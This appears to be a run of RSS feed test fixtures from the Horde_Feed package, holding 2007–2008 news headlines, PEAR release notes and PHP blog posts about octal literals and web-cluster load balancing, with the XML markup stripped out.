http://c.moreover.com/click/here.pl?r1610153392 BBC Sep 21 2008 9:18PM GMT South Africa president steps down http://c.moreover.com/click/here.pl?r1610109150 BBC Sep 21 2008 8:09PM GMT Taxpayers lash out over bailout http://c.moreover.com/click/here.pl?r1610088075 CNN Sep 21 2008 7:33PM GMT McCain and Obama trade charges on financial crisis http://c.moreover.com/click/here.pl?r1610031274 International Herald Tribune Sep 21 2008 6:03PM GMT Ramadan: prime time for TV http://c.moreover.com/click/here.pl?r1609853690 Los Angeles Times Sep 21 2008 1:14PM GMT Boutique medicine worth it? http://c.moreover.com/click/here.pl?r1609827601 CNN Sep 21 2008 12:28PM GMT I will do better, Brown pledges http://c.moreover.com/click/here.pl?r1609731240 BBC Sep 21 2008 9:39AM GMT A land of opportunity lures Poles back home http://c.moreover.com/click/here.pl?r1609720984 International Herald Tribune Sep 21 2008 9:24AM GMT I want to do better, says Brown http://c.moreover.com/click/here.pl?r1609716328 BBC Sep 21 2008 9:16AM GMT Czech ambassador killed in Pakistan hotel blast http://c.moreover.com/click/here.pl?r1609680953 CNN Sep 21 2008 8:18AM GMT Federal, state agents raid evangelist compound http://c.moreover.com/click/here.pl?r1609628928 CNN Sep 21 2008 6:51AM GMT Bomb seen as warning to Pakistan http://c.moreover.com/click/here.pl?r1609623467 MSNBC Sep 21 2008 6:43AM GMT Candidates' August spending is record http://c.moreover.com/click/here.pl?r1609542033 MSNBC Sep 21 2008 4:16AM GMT S. African President Mbeki to Step Down http://c.moreover.com/click/here.pl?r1609536674 Washington Post Sep 21 2008 4:07AM GMT Marriott's Biggest Loss in 81 Years http://c.moreover.com/click/here.pl?r1609536608 Washington Post Sep 21 2008 4:07AM GMT Jet crash witness: 'Nothing anyone could do' http://c.moreover.com/click/here.pl?r1609453843 CNN Sep 21 2008 1:46AM GMT A leader who impressed abroad, but not at home http://c.moreover.com/click/here.pl?r1609364900 Guardian Unlimited Sep 20 2008 11:20PM GMT Terror pledge after Pakistan bomb http://c.moreover.com/click/here.pl?r1609323840 BBC Sep 20 2008 10:10PM GMT Truck bomb destroys packed hotel in Pakistan http://c.moreover.com/click/here.pl?r1609253863 CNN Sep 20 2008 8:18PM GMT Bomb hits Pakistani hotel http://c.moreover.com/click/here.pl?r1609122340 Guardian Unlimited Sep 20 2008 5:01PM GMT Deadly blast hits Marriott Hotel in Pakistan http://c.moreover.com/click/here.pl?r1609110040 CNN Sep 20 2008 4:39PM GMT Dozens killed in Pakistan attack http://c.moreover.com/click/here.pl?r1609090307 BBC Sep 20 2008 4:13PM GMT Brown pledges action on economy http://c.moreover.com/click/here.pl?r1609068266 BBC Sep 20 2008 3:41PM GMT Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-p.moreover.com-cgi-local-page%2Fo=rss0000664000175000017500000000337512653701626027576 0ustar janjan Moreover Technologies - Search results for... http://www.moreover.com/rss Search results for... - more than 340 categories of real-time RSS news feeds en-us Moreover Technologies http://i.moreover.com/pics/rss.gif http://www.moreover.com/rss 144 16 Moreover Technologies - Premier purveyor of real-time news and RSS feeds from across the Web Equifax ID Patrol - Sponsored Link http://context4.kanoodle.com/cgi-bin/rss_query_image.cgi?a=click&bid_id=90627104&clickid=87877635&format=xml1&cgroup=general_network&query=general%20network&ts=ad20071015000000 Ad - www.equifax.com Oct 15 2007 3:07AM GMT The Latte Era Grinds Down http://c.moreover.com/click/here.pl?r1136751075 Newsweek Oct 15 2007 3:07AM GMT Do You Zune? http://c.moreover.com/click/here.pl?r1136750701 Newsweek Oct 15 2007 3:07AM GMT Honey, iBricked the New Mobile Phone! http://c.moreover.com/click/here.pl?r1136750420 Newsweek Oct 15 2007 3:07AM GMT Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-partners.userland.com-nytRss-nytHomepage.xml0000664000175000017500000003650312653701626031525 0ustar janjan NYT > NYTimes.com Home http://www.nytimes.com/pages/index.html?partner=rssuserland en-us Copyright 2008 The New York Times Company Tue, 22 Jul 2008 15:52:13 GMT NYT > NYTimes.com Home http://graphics.nytimes.com/images/section/NytSectionHeader.gif http://www.nytimes.com/pages/index.html Posting Huge Loss, Wachovia Tries to Purge Lending Woes http://www.nytimes.com/2008/07/23/business/23bank.html?partner=rssuserland&emc=rss http://www.nytimes.com/2008/07/23/business/23bank.html Moving quickly to put an end to the spill of red ink, the bank booked an $8.9 billion loss and slashed its dividend in its first quarter under new leadership. By ERIC DASH Tue, 22 Jul 2008 15:13:19 GMT Wachovia Corp|WB|NYSE Company Reports As Loan Giants Are Inspected, Bush Prods Congress http://www.nytimes.com/2008/07/22/business/economy/22treasury.html?partner=rssuserland&emc=rss http://www.nytimes.com/2008/07/22/business/economy/22treasury.html Treasury Secretary Henry M. Paulson Jr. said that examiners are inspecting the books of Fannie Mae and Freddie Mac. By STEPHEN LABATON Tue, 22 Jul 2008 12:46:14 GMT Law and Legislation Mortgages Credit United States Bush, George W Paulson, Henry M Jr Comptroller of the Currency Federal Reserve System New York Times Regulation and Deregulation of Industry Serbian Officials Provide Details on Arrest of Karadzic http://www.nytimes.com/2008/07/23/world/europe/23serbia.html?partner=rssuserland&emc=rss http://www.nytimes.com/2008/07/23/world/europe/23serbia.html Radovan Karadzic, one of the most wanted war criminals until his arrest for a 1995 massacre, had been living freely in Belgrade, authorities said. By DAN BILEFSKY and MARLISE SIMONS Tue, 22 Jul 2008 15:30:21 GMT Karadzic, Radovan War Crimes, Genocide and Crimes Against Humanity Serbia United Nations International Relations Belgrade (Serbia) Bosnia and Herzegovina Another Construction Vehicle Attack in Israel http://www.nytimes.com/2008/07/23/world/middleeast/23israel.html?partner=rssuserland&emc=rss http://www.nytimes.com/2008/07/23/world/middleeast/23israel.html A construction vehicle plowed into traffic near the Jerusalem hotel where Barack Obama was to stay, injuring at least 24 people before the driver was killed. By ISABEL KERSHNER and GRAHAM BOWLEY Tue, 22 Jul 2008 14:57:56 GMT Israel Obama, Barack Terrorism The Caucus: Obama, in Jordan, Must Navigate Mideast Conflict http://thecaucus.blogs.nytimes.com/2008/07/22/for-obama-israeli-palestinian-conflict-looms/index.html?partner=rssuserland&emc=rss http://thecaucus.blogs.nytimes.com/2008/07/22/for-obama-israeli-palestinian-conflict-looms/index.html When Barack Obama meets with King Abdullah, his approach to the peace process will be watched carefully. By JEFF ZELENY Tue, 22 Jul 2008 15:18:26 GMT Ford to Make Broader Bet on Small Cars http://www.nytimes.com/2008/07/22/business/22ford.html?partner=rssuserland&emc=rss http://www.nytimes.com/2008/07/22/business/22ford.html After two decades focused on trucks, the company is about to drastically shift focus to building smaller cars. By BILL VLASIC Tue, 22 Jul 2008 15:31:02 GMT Automobiles Small Cars (Compact, Subcompact and Microcars) Utility Vehicles and Other Light Trucks Ford Motor Co|F|NYSE Chaotic Debate on Major Vote in India http://www.nytimes.com/2008/07/23/world/asia/23india.html?partner=rssuserland&emc=rss http://www.nytimes.com/2008/07/23/world/asia/23india.html An acrimonious debate on a confidence motion on the government came to an abrupt halt after a demonstration by opposition lawmakers. By SOMINI SENGUPTA Tue, 22 Jul 2008 15:08:27 GMT India Singh, Manmohan Talks to Start on Zimbabwe Crisis http://www.nytimes.com/2008/07/23/world/africa/23zimbabwe.html?partner=rssuserland&emc=rss http://www.nytimes.com/2008/07/23/world/africa/23zimbabwe.html South Africa is hoping to convene negotiations between Zimbabwe’s feuding political parties on Tuesday, one day after their leaders met face to face. By ALAN COWELL and GRAHAM BOWLEY Tue, 22 Jul 2008 15:07:20 GMT Zimbabwe Arbitration, Conciliation and Mediation Mugabe, Robert Tsvangirai, Morgan Movement for Democratic Change Women Are Now Equal as Victims of Poor Economy http://www.nytimes.com/2008/07/22/business/22jobs.html?partner=rssuserland&emc=rss http://www.nytimes.com/2008/07/22/business/22jobs.html Women in the workplace are being afflicted by the same troubles as men. And they are responding as men have, by dropping out or disappearing for a while. By LOUIS UCHITELLE Tue, 22 Jul 2008 07:05:41 GMT Women Labor Economic Conditions and Trends Layoffs and Job Reductions So Soon? Fares and Tolls Rise in M.T.A. Plan http://www.nytimes.com/2008/07/22/nyregion/22mta.html?partner=rssuserland&emc=rss http://www.nytimes.com/2008/07/22/nyregion/22mta.html A substantial increase in fares and tolls is planned to help close a widening budget gap of nearly $900 million. By WILLIAM NEUMAN Tue, 22 Jul 2008 14:20:40 GMT Prices (Fares, Fees and Rates) Metropolitan Transportation Authority Transit Systems Rings: Bush Asked to Reject Marion Jones Request http://olympics.blogs.nytimes.com/2008/07/22/usa-track-and-field-chief-issues-open-letter-to-bush-on-marion-jones/index.html?partner=rssuserland&emc=rss http://olympics.blogs.nytimes.com/2008/07/22/usa-track-and-field-chief-issues-open-letter-to-bush-on-marion-jones/index.html The C.E.O. of USA Track and Field issues a sharply worded letter asking that President Bush deny Marion Jones's request for a commutation. By JEFF Z. KLEIN Tue, 22 Jul 2008 15:48:24 GMT The Lede: Blackwater Plans to Drop Guard Work http://thelede.blogs.nytimes.com/2008/07/22/blackwater-plans-exit-from-guard-work/index.html?partner=rssuserland&emc=rss http://thelede.blogs.nytimes.com/2008/07/22/blackwater-plans-exit-from-guard-work/index.html Blackwater is giving up on the business that put them in the crosshairs of an astonishing array of parties. By MIKE NIZZA Tue, 22 Jul 2008 15:48:25 GMT Well: More Sex for Today’s Seniors http://well.blogs.nytimes.com/2008/07/22/more-sex-for-todays-seniors/index.html?partner=rssuserland&emc=rss http://well.blogs.nytimes.com/2008/07/22/more-sex-for-todays-seniors/index.html A study of four generations of 70-year-olds shows that today's seniors have better sex lives. By TARA PARKER-POPE Tue, 22 Jul 2008 15:48:24 GMT City Room: Where Superheroes Get Their Supplies http://cityroom.blogs.nytimes.com/2008/07/22/meeting-every-superheros-needs-in-brooklyn/index.html?partner=rssuserland&emc=rss http://cityroom.blogs.nytimes.com/2008/07/22/meeting-every-superheros-needs-in-brooklyn/index.html Those who can't afford to hire inventors (like Batman) or engineer devices themselves (like Iron Man), can head to the Brooklyn Superhero Supply Store in Park Slope. By JENNIFER 8. LEE Tue, 22 Jul 2008 15:48:25 GMT Goal: Adu Moves From Benfica to Monaco on Loan http://goal.blogs.nytimes.com/2008/07/22/adu-moves-from-benfica-to-monaco-on-loan/index.html?partner=rssuserland&emc=rss http://goal.blogs.nytimes.com/2008/07/22/adu-moves-from-benfica-to-monaco-on-loan/index.html U.S. midfielder Freddy Adu will move from Benfica in Portugal to Monaco in France on a season-long loan with a chance for a permanent transfer. By JEFFREY MARCUS Tue, 22 Jul 2008 15:48:25 GMT ArtsBeat: At Tanglewood, Elliott Carter’s Sketches http://artsbeat.blogs.nytimes.com/2008/07/22/tanglewood-contemporary-festival-baby-photos-and-musical-puzzles/index.html?partner=rssuserland&emc=rss http://artsbeat.blogs.nytimes.com/2008/07/22/tanglewood-contemporary-festival-baby-photos-and-musical-puzzles/index.html The best of the nonperformance offerings so far at the Festival of Contemporary Music is "Carter's Century: An Exhibit Celebrating the Life and Music of Elliott Carter," split between two buildings on the Tanglewood campus. By ALLAN KOZINN Tue, 22 Jul 2008 13:43:12 GMT Joe Nocera: Killing Icahn With Kindness http://executivesuite.blogs.nytimes.com/2008/07/22/how-do-you-spell-b-e-a-r-h-u-g/index.html?partner=rssuserland&emc=rss http://executivesuite.blogs.nytimes.com/2008/07/22/how-do-you-spell-b-e-a-r-h-u-g/index.html Looks Like Yahoo has figured out how to neuter Carl Icahn - kill him with kindness. That would seem to be the lesson emerging from Monday's announcement that the 77-year-old shareholder activist, along with Jonathan Miller, who used to run Time Warner's AOL division, will be joining the Yahoo board. It seems pretty likely [...]. By JOE NOCERA Tue, 22 Jul 2008 15:33:21 GMT Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-partners.userland.com-nytRss-technology.xml0000664000175000017500000005340512653701626031420 0ustar janjan NYT > Technology http://www.nytimes.com/pages/technology/index.html?partner=rssuserland en-us Copyright 2008 The New York Times Company Tue, 22 Jul 2008 15:47:08 GMT NYT > Technology http://graphics.nytimes.com/images/section/NytSectionHeader.gif http://www.nytimes.com/pages/technology/index.html TiVo and Amazon Team Up http://www.nytimes.com/2008/07/22/technology/22tivo.html?partner=rssuserland&emc=rss http://www.nytimes.com/2008/07/22/technology/22tivo.html The two companies want to turn the television remote control into a tool for buying the products being advertised and promoted on commercials and talk shows. By BRAD STONE Tue, 22 Jul 2008 14:08:01 GMT Computers and the Internet TiVo Incorporated|TIVO|NASDAQ Amazon.com Inc|AMZN|NASDAQ Digital Video Recorders Television Vodafone Cuts Revenue Forecast http://www.nytimes.com/2008/07/23/business/worldbusiness/23vodaphone.html?partner=rssuserland&emc=rss http://www.nytimes.com/2008/07/23/business/worldbusiness/23vodaphone.html Vodafone, the world’s largest cellphone operator, said it was cutting its revenue forecast for the year to around $79.6 billion, the lower end of its previous estimate. By DAVID JOLLY Tue, 22 Jul 2008 14:22:33 GMT Cellular Telephones Company Reports Vodafone Group Plc|VOD|NYSE Economic Conditions and Trends As Travel Costs Rise, More Meetings Go Virtual http://www.nytimes.com/2008/07/22/technology/22meet.html?partner=rssuserland&emc=rss http://www.nytimes.com/2008/07/22/technology/22meet.html As travel costs rise and airlines cut back service, companies large and small are rethinking the face-to-face meeting — and business travel as well. By STEVE LOHR Tue, 22 Jul 2008 04:38:52 GMT Executives and Management Computers and the Internet Travel and Vacations After Strong Quarter, Apple Signals Changes in Its Prices http://www.nytimes.com/2008/07/22/technology/22apple.html?partner=rssuserland&emc=rss http://www.nytimes.com/2008/07/22/technology/22apple.html Apple, the third-largest personal computer maker in the United States, continued to benefit from the significant market share gains of its Macintosh computer line. By JOHN MARKOFF Tue, 22 Jul 2008 05:22:15 GMT Company Reports Computers and the Internet iPhone Sales Yahoo Deal Wards Off Proxy Fight http://www.nytimes.com/2008/07/22/technology/22yahoo.html?partner=rssuserland&emc=rss http://www.nytimes.com/2008/07/22/technology/22yahoo.html Yahoo’s board and management earned a reprieve after a weekend deal ended a bruising and acrimonious fight for control of the company with Carl C. Icahn. By MIGUEL HELFT Tue, 22 Jul 2008 04:10:32 GMT Computers and the Internet Yahoo Inc|YHOO|NASDAQ Texas Instruments Disappoints and Predicts Weak 3rd Quarter http://www.nytimes.com/2008/07/22/technology/22chip.html?partner=rssuserland&emc=rss http://www.nytimes.com/2008/07/22/technology/22chip.html The chipmaker posted lower quarterly profit and revenue as growth in analog chips was offset by weakness in its wireless chip business. By REUTERS Tue, 22 Jul 2008 03:22:13 GMT Company Reports Texas Instruments Inc|TXN|NYSE Computer Chips Wireless Communications If You Have a Problem, Ask Everyone http://www.nytimes.com/2008/07/22/science/22inno.html?partner=rssuserland&emc=rss http://www.nytimes.com/2008/07/22/science/22inno.html Would-be innovators can sign up online to compete for prizes for solving diverse problems from around the world in a variety of disciplines. By CORNELIA DEAN Tue, 22 Jul 2008 07:13:07 GMT Science and Technology Engineering and Engineers Contests and Prizes InnoCentive Computers and the Internet Verizon Adds 1.5 Million Customers in Second Quarter http://www.nytimes.com/reuters/technology/tech-verizon-wireless.html?partner=rssuserland&emc=rss http://www.nytimes.com/reuters/technology/tech-verizon-wireless.html Verizon Wireless, the second-largest U.S. mobile service provider, said it added 1.5 million customers in the second quarter, roughly matching some Wall Street expectations. By REUTERS Tue, 22 Jul 2008 14:50:56 GMT Wireless Communications Cellular Telephones Company Reports Verizon Communications|VZ|NYSE Bits: The F.T.C.'s Bully Pulpit on Privacy http://bits.blogs.nytimes.com/2008/07/21/the-ftcs-bully-pulpit-on-privacy/index.html?partner=rssuserland&emc=rss http://bits.blogs.nytimes.com/2008/07/21/the-ftcs-bully-pulpit-on-privacy/index.html Lydia B. Parnes, the director of the F.T.C.’s bureau of consumer protection, said that there is no need to have a new law to govern how Internet advertising companies use data about users. By SAUL HANSELL Tue, 22 Jul 2008 01:08:17 GMT Bits: Free the Phone, and Venture Capital Will Follow http://bits.blogs.nytimes.com/2008/07/21/free-the-phone-and-venture-capital-will-follow/index.html?partner=rssuserland&emc=rss http://bits.blogs.nytimes.com/2008/07/21/free-the-phone-and-venture-capital-will-follow/index.html The trend toward allowing consumers to use a wider variety of applications on their cellphones is leading to greater investment in such applications, according to a research firm. By LAURA M. HOLSON Mon, 21 Jul 2008 23:58:21 GMT Brocade to Buy Network Firm http://www.nytimes.com/2008/07/22/technology/22brocade.html?partner=rssuserland&emc=rss http://www.nytimes.com/2008/07/22/technology/22brocade.html Brocade said the deal was more about growth than cost savings, and that it would provide a broader range of networking technologies to support increasing Web traffic. By REUTERS Tue, 22 Jul 2008 03:02:31 GMT Computers and the Internet Mergers, Acquisitions and Divestitures Brocade Communications Systems Inc|BRCD|NASDAQ Foundry Networks Incorporated|FDRY|NASDAQ Earnings Decline at Boston Scientific http://www.nytimes.com/2008/07/22/business/22device.html?partner=rssuserland&emc=rss http://www.nytimes.com/2008/07/22/business/22device.html The medical device maker said on Monday that its second-quarter was hurt by acquisition, restructuring and other charges. By THE ASSOCIATED PRESS Tue, 22 Jul 2008 05:53:18 GMT Company Reports Boston Scientific Corporation|BSX|NYSE Stents (Medical Devices) Bits: It's Not a Game Console, It's a Community http://bits.blogs.nytimes.com/2008/07/21/its-not-a-game-console-its-a-community/index.html?partner=rssuserland&emc=rss http://bits.blogs.nytimes.com/2008/07/21/its-not-a-game-console-its-a-community/index.html “Community” was the buzzword at last week’s E3 gaming conference, where the major makers of gaming consoles announced new features aimed at more tightly connecting their users to each other. By ERIC A. TAUB Mon, 21 Jul 2008 23:38:22 GMT Facebook Facelift Targets Aging Users and New Competitors http://www.nytimes.com/idg/IDG_852573C4006938800025748D0064C292.html?partner=rssuserland&emc=rss http://www.nytimes.com/idg/IDG_852573C4006938800025748D0064C292.html Facebook rolled out a major redesign of its social networking site that features a cleaner interface and will give users more control and ownership over their profiles. By Heather Havenstein, <a href="http://www.computerworld.com?source=nytimes" target="_blank">Computerworld</a>, <span class="idg">IDG</span> Tue, 22 Jul 2008 15:06:59 GMT Social Networking (Internet) Facebook.com Computers and the Internet My Son, the Blogger: An M.D. Trades Medicine for Apple Rumors http://www.nytimes.com/2008/07/21/technology/21blogger.html?partner=rssuserland&emc=rss http://www.nytimes.com/2008/07/21/technology/21blogger.html Dr. Arnold Kim’s Web site, MacRumors.com, has become such a popular technology site, he has stopped practicing medicine to blog full time. By BRIAN STELTER Mon, 21 Jul 2008 04:32:48 GMT Apple Inc|AAPL|NASDAQ Blogs and Blogging (Internet) Computers and the Internet Gossip Kim, Arnold MacRumors.com Fallon Will Start ‘Late Night’ on the Web http://www.nytimes.com/2008/07/21/arts/television/21fallon.html?partner=rssuserland&emc=rss http://www.nytimes.com/2008/07/21/arts/television/21fallon.html NBC’s next edition of “Late Night,” with its new host Jimmy Fallon, will start as a nightly entry on the Internet. By BILL CARTER Mon, 21 Jul 2008 20:11:14 GMT Television National Broadcasting Co Fallon, Jimmy Michaels, Lorne Computers and the Internet Late Night (TV Program) Tonight (TV Program) Smaller PCs Cause Worry for Industry http://www.nytimes.com/2008/07/21/technology/21pc.html?partner=rssuserland&emc=rss http://www.nytimes.com/2008/07/21/technology/21pc.html In a tale of sales success breeding resentment, computer firms are worried the new breed of computers’ low price could threaten already thin profit margins. By MATT RICHTEL Mon, 21 Jul 2008 17:19:09 GMT Computers and the Internet Laptop Computers Computer Chips Cloud Computing Dell Inc|DELL|NASDAQ Acer Inc Hewlett-Packard Co|HPQ|NYSE The Media Equation: Hey, Friend, Do I Know You? http://www.nytimes.com/2008/07/21/business/media/21carr.html?partner=rssuserland&emc=rss http://www.nytimes.com/2008/07/21/business/media/21carr.html When a new media winner like Facebook comes over the horizon, who loses? In my case, it’s probably my real actual friends. By DAVID CARR Mon, 21 Jul 2008 02:08:30 GMT Social Networking (Internet) Facebook.com Computers and the Internet Writing and Writers Advertising and Marketing Link by Link: In Egypt, a Thirst for Technology and Progress http://www.nytimes.com/2008/07/21/business/media/21link.html?partner=rssuserland&emc=rss http://www.nytimes.com/2008/07/21/business/media/21link.html In Egypt, where half the population is under 25, there is a thirst for new technology and a chance to escape the backward conditions its young people have been born into. By NOAM COHEN Mon, 21 Jul 2008 02:35:52 GMT Egypt Wikipedia Facebook.com Computers and the Internet Mubarak, Hosni Drilling Down: Ahh, Remember Your First Cellphone? http://www.nytimes.com/2008/07/21/technology/21drill.html?partner=rssuserland&emc=rss http://www.nytimes.com/2008/07/21/technology/21drill.html Teenage boys and teenage girls acquire cellphones differently, according to a recent study by MultiMedia Intelligence. By ALEX MINDLIN Mon, 21 Jul 2008 02:39:41 GMT Cellular Telephones Children and Youth Consumer Behavior Advertising: Reading Device Enlisted to Help French Papers http://www.nytimes.com/2008/07/21/business/media/21adco.html?partner=rssuserland&emc=rss http://www.nytimes.com/2008/07/21/business/media/21adco.html Through a project called Read & Go (yes, in English), a new device allows users to download the contents of the newspapers over France Télécom’s wireless network. By ERIC PFANNER Mon, 21 Jul 2008 02:47:06 GMT Newspapers Computers and the Internet News and News Media Wireless Communications France Telecom S.A|FTE|NYSE Le Monde France Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-pear.php.net-rss0000664000175000017500000001234212653701626024023 0ustar janjan http://pear.php.net/ pear-webmaster@lists.php.net pear-webmaster@lists.php.net en-us PEAR: Latest releases The latest releases in PEAR. Date_Holidays_PHPdotNet 0.1.2 http://pear.php.net/package/Date_Holidays_PHPdotNet/download/0.1.2/ * Fix Bug #14568: test suite is useless - asserts are commented out [kguest]<br /> * Fix Bug #14683: ashnazg wants his details added [kguest] 2008-09-21T17:54:15-05:00 Date_Holidays_Austria 0.1.2 http://pear.php.net/package/Date_Holidays_Austria/download/0.1.2/ * Implement Feature #14605: Adding more austrian dates [kguest] 2008-09-21T16:49:21-05:00 Date_Holidays_UNO 0.1.2 http://pear.php.net/package/Date_Holidays_UNO/download/0.1.2/ * Fix Bug #14570: test suite for Date_Holidays_UNO doesn't test anything [kguest] 2008-09-21T16:06:47-05:00 PEAR_Size 0.1.7 http://pear.php.net/package/PEAR_Size/download/0.1.7/ * Fix Bug #14465: warning if files (which are registered as installed) are missing<br /> * Fix Bug #14474: channel selection doesn't work 2008-09-21T15:20:29-05:00 Genealogy_Gedcom 1.0.1 http://pear.php.net/package/Genealogy_Gedcom/download/1.0.1/ Maintenance release 2008-09-21T14:50:37-05:00 HTML_Crypt 1.3.3 http://pear.php.net/package/HTML_Crypt/download/1.3.3/ - Fix bug #14675: Security issue due to seeding random number generator 2008-09-21T12:19:10-05:00 Services_Yahoo_JP 0.1.1 http://pear.php.net/package/Services_Yahoo_JP/download/0.1.1/ alpha version. 2008-09-19T21:04:20-05:00 XML_Beautifier 1.2.0 http://pear.php.net/package/XML_Beautifier/download/1.2.0/ - switched to BSD License<br /> - switch to package.xml v2<br /> - PEAR CS cleanup<br /> - Fixed Bug #1009: Data in <![CDATA[ ... ]]> [schst]<br /> - Fixed Bug #1232: The standalone attributes turned to 'on' [schst] 2008-09-19T17:09:21-05:00 Net_IPv6 1.1.0RC4 http://pear.php.net/package/Net_IPv6/download/1.1.0RC4/ take care of prefix length specification in an address, thanks to Jens Ott 2008-09-16T18:45:52-05:00 Net_UserAgent_Mobile_GPS 0.1.1 http://pear.php.net/package/Net_UserAgent_Mobile_GPS/download/0.1.1/ alpha version. 2008-09-16T10:26:08-05:00 Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-phplens.com-phpeverywhere-%2Fq=node-feed-10000664000175000017500000006466612653701626030552 0ustar janjan ]> PHP Everywhere - By John Lim http://phplens.com/phpeverywhere en Perception is 99% of reality http://phplens.com/phpeverywhere/?q=node/view/251 <p>Jeff Atwood <a href=http://www.codinghorror.com/blog/archives/001058.html>writes</a>: <blockquote> If you've used Windows Vista, you've probably noticed that Vista's file copy performance is noticeably worse than Windows XP. I know it's one of the first things I noticed. Here's the irony-- Vista's file copy is based on an improved algorithm and actually performs better in most cases than XP. So how come it seems so darn slow? </blockquote> <p>PS: Jeff adds that Vista SP1 has switched back to XP's algorithm. Duhh! Fri, 07 Mar 2008 19:53:44 -0500 Octalpussy http://phplens.com/phpeverywhere/?q=node/view/250 <p>In my previous post I asked what would be the output of of the following numbers: <pre> echo 09," => (09) &lt;br>"; echo 9," => (9) &lt;br>"; </pre> <p>The answer is: <pre> 0 => (09) 9 => (9) </pre> <p> That's because any number preceded by 0 is treated as an octal number, and 9 is an invalid octal number. Octal numbers are base 8, e.g.: <table border=1> <tr><td>Octal Value<td>Decimal Value <tr><td>1<td>1 <tr><td>2<td>2 <tr><td>3<td>3 <tr><td>4<td>4 <tr><td>5<td>5 <tr><td>6<td>6 <tr><td>7<td>7 <tr><td>10<td>8 <tr><td>11<td>9 </table> <p>&nbsp; <p>The silly thing is that hardly anyone uses octal nowadays, but it continues to be part of the C, C++, Java and PHP standards. The mistake is also <a href=http://mindprod.com/jgloss/octal.html>very common</a>. C-style languages pride themselves in their terse and minimalist syntax, but this is one scenario where a language design error was probably made. Perhaps 0c should have been used to represent octal in analogy to 0x for hexadecimal, but this suggestion is sadly 35 years too late. 0 for octal is too deeply imprinted in modern compiler DNA. <p>PS: Here's the <a href=http://phplens.com/lens/lensforum/msgs.php?id=17245>mistaken ADOdb bug report</a> that started it. Sun, 03 Feb 2008 11:24:06 -0500 Octopussy numbers in PHP http://phplens.com/phpeverywhere/?q=node/view/249 <p>Someone reported a bug in ADOdb, the open source db library i maintain. I went crazy for half an hour until i realised the problem. Here's a little gotcha you can try: <pre> echo 09," => (09) &lt;br>"; echo 9," => (9) &lt;br>"; </pre> <p>If you expect the above code to produce the same values, you are sadly mistaken. Try it. Also see the <a href=http://phplens.com/phpeverywhere/?q=node/view/250>followup</a>. Sun, 03 Feb 2008 10:59:24 -0500 Code's Worse Enemy http://phplens.com/phpeverywhere/?q=node/view/247 <p> Steve Yegge talks about choosing the right programming language in the face of <a href=http://steve-yegge.blogspot.com/2007/12/codes-worst-enemy.html>Code's Worse Enemy</a>: <p> <blockquote> I'll give you the capsule synopsis, the one-sentence summary of the learnings I had from the Bad Thing that happened to me while writing my game in Java: if you begin with the assumption that you need to shrink your code base, you will eventually be forced to conclude that you cannot continue to use Java. Conversely, if you begin with the assumption that you must use Java, then you will eventually be forced to conclude that you will have millions of lines of code. </blockquote> <p> There's a lot of truth in what he says. You can't fault his taste: He prefers Mozilla Rhino, a Javascript/Ecmascript implementation. <p> When we coded in ASP, we were a JScript shop. When we were looking for something that ran cross-platform, the closest thing that fit the bill was PHP. Javascript with perl-style $variables. Neither language is perfect. But good enough - or as some prefer to put it: <a href=http://en.wikipedia.org/wiki/Worse_is_better>worse is better</a>. Sun, 06 Jan 2008 04:45:57 -0500 Why Should PHP ever be taught in school? http://phplens.com/phpeverywhere/?q=node/view/244 <p>Happy New Year Folks! Let's keep on blogging. <p>This posting by Ka-Ping Yee on <a href=http://zestyping.livejournal.com/124503.html>why PHP should never be taught</a> is precisely why PHP should be taught. If something is popular but hard to understand then we need an education process. To just shake our heads and give up is simply immature (or trolling). Otherwise we might as well say that English (or any other spoken language for that matter) should not be taught, because spoken languages are illogical, imprecise and therefore ... useless :) <p>Most programming languages have similar gotchas. Oracle's PL/SQL has "" being equivalent to null. Javascript believes that 0 and "" are equivalent. C has non-zero being equivalent to boolean true. Lisp's gotcha begins with ( and ends with ) -- (just a joke). Java's gotcha begins with J2EE and the obsolete baggage that comes with it. <p>PS: The confusion is because === is the real equality operator and should be used here. In PHP, == is equality after typecasting, where 0 == "0" and "" == "0" evaluating to true are accepted conventions. They are useful constructs in many situations in a similar vein to C's convention of 0 being boolean true and non-zero being boolean false, which the critics cleverly ignore. See the <a href=http://www.php.net/manual/en/types.comparisons.php>PHP Manual on type comparisons</a> Tue, 01 Jan 2008 09:04:43 -0500 Web cluster redundancy with mod_backhand revisited http://phplens.com/phpeverywhere/?q=node/view/243 <p>In my <a href=http://phplens.com/phpeverywhere/?q=node/view/241>last blog entry on mod_backhand</a>, I mentioned that you could implement redundancy in a web cluster by having multiple load balancers and using <a href=http://en.wikipedia.org/wiki/Round_robin_DNS>round robin DNS</a> pointing to the load balancers. This technique is mentioned in the mod_backhand presentation notes by Theo Schlossnagle, one of the author's of mod_backhand. <p>But if you think about it carefully, in my opinion, this solution doesn't really work well: <ul> <li>Round robin DNS systems simply return a list of IP addresses (sorted randomly) that resolve that domain name. Most DNS servers do not perform checks to detect if any of the IP addresses are down. So clients will get the IP addresses of load balancers that are down too. The DNS client normally just picks the first IP address in the list to use - and it could be the IP address of a load balancer that is down. <li>Secondly, when a client resolves the domain name, this IP address is cached on the client. So a failure in one of the load balancers would still mean that all web browsers that previously connected to that load balancer successfully because of DNS caching would be unable to access the system for quite a long time (e,g. 10-15 minutes). </ul> <p>I can think of several solutions, but the best one as far as I can see (if you still want to use mod_backhand of course) is to run mod_backhand on a high availability hardware solution (or if a few minutes downtime is acceptable, keep a spare box configured with mod_backhand around to swap with any balancer that goes down), and not push the hard problem of high availability and redundancy to DNS. <p>Ahmad Amran Kapi from Melaka, Malaysia, points out that you can use <a href=http://www.backhand.org/wackamole/>Wackamole</a>: <blockquote> Wackamole is an application that helps with making a cluster highly available. It manages a bunch of virtual IPs, that should be available to the outside world at all times. Wackamole ensures that a single machine within a cluster is listening on each virtual IP address that Wackamole manages. If it discovers that particular machines within the cluster are not alive, it will almost immediately ensure that other machines acquire these public IPs. At no time will more than one machine listen on any virtual IP. Wackamole also works toward achieving a balanced distribution of number IPs on the machine within the cluster it manages. </blockquote> Wed, 26 Dec 2007 05:57:40 -0500 Back and Backing Backhand on top of that! http://phplens.com/phpeverywhere/?q=node/view/241 <p>Since I got married last year, I haven't had much motivation to blog. The good news is that since the previous year, I've accumulated a list of accomplishments and experiences that i feel are worthwhile sharing. <p> Recently, my company implemented our first <a href=http://backhand.org/>mod_backhand</a> 